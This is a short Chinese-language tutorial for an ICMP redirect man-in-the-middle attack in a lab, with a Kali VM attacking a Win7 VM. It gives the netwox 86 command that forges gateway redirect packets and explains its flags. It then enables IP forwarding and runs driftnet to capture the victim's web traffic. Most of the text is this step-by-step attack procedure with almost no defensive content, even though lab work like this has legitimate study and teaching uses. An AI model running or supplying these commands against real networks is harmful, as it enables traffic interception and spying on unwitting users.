使用kali进行局域网icmp重定向攻击

1.环境准备

攻击机：kali虚拟机 IP地址192.168.126.130  网关192.168.126.2  安装好netwox工具

靶机：win7虚拟机 IP地址192.168.126.131 网关192.168.126.2

目的：通过KALI给win7发送ICMP重定向报文使win7认为原192.168.126.2的网关失效，数据包通过192.168.126.130来转发

2.流程操作

攻击前win7可以正常访问公网

在kali上执行攻击命令

sudo netwox 86 -f "host 192.168.126.131" -g "192.168.126.130" -i "192.168.126.2"
-f指攻击，host为靶机，-g为重定向地址，-i为原网关地址

在win7上通过wireshark抓包可以看到攻击方伪造网关身份发送的icmp重定向报文

此时win7虚拟机无法正常访问公网

在kali上通过命令开启路由转发

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

在kali上通过命令开启流量监听

sudo driftnet -i eth0

此时可以在kali监听窗口上看到win7访问网站的部分数据